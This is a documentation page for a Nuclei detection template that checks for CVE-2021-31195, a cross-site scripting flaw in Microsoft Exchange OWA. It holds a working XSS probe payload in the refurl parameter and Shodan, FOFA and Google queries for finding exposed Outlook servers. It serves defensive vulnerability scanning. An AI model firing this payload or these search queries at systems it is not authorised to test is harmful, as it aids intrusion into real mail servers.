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Nuclei Templates

Microsoft Exchange Server - Cross-Site Scripting

ID: CVE-2021-31195

Severity: medium

Author: infosecsanyam

Tags: cve2021,cve,microsoft,exchange,owa,xss

Description

Section titled “Description”

Microsoft Exchange Server, or OWA, is vulnerable to a cross-site scripting vulnerability in refurl parameter of frowny.asp.

YAML Source

Section titled “YAML Source”
id: CVE-2021-31195


info:
  name: Microsoft Exchange Server - Cross-Site Scripting
  author: infosecsanyam
  severity: medium
  description: Microsoft Exchange Server, or OWA, is vulnerable to a cross-site scripting vulnerability in refurl parameter of frowny.asp.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the user's browser, potentially leading to session hijacking, data theft, or other malicious activities.
  remediation: |
    Apply the latest security updates provided by Microsoft to mitigate this vulnerability.
  reference:
    - https://blog.orange.tw/2021/08/proxyoracle-a-new-attack-surface-on-ms-exchange-part-2.html
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31195
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31195
    - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31195
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-31195
    cwe-id: CWE-79
    epss-score: 0.92082
    epss-percentile: 0.98927
    cpe: cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microsoft
    product: exchange_server
    shodan-query:
      - http.title:"Outlook"
      - http.favicon.hash:1768726119
      - http.title:"outlook"
      - cpe:"cpe:2.3:a:microsoft:exchange_server"
    fofa-query:
      - title="outlook"
      - icon_hash=1768726119
    google-query: intitle:"outlook"
  tags: cve2021,cve,microsoft,exchange,owa,xss


http:
  - method: GET
    path:
      - '{{BaseURL}}/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.domain)//'


    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'alert(document.domain)//&et=ServerError'
          - 'mail/bootr.ashx'
        condition: and


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 500
# digest: 4b0a00483046022100ac261f82b887e750c229c6cfa996bfe963b348c6cc1f5a8113ef388501966a2b022100fa363a9feded22bf15dfcb49c49369887f67ee64466ddd18650bd1b1f53b5ef7:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-31195.yaml"

View on Github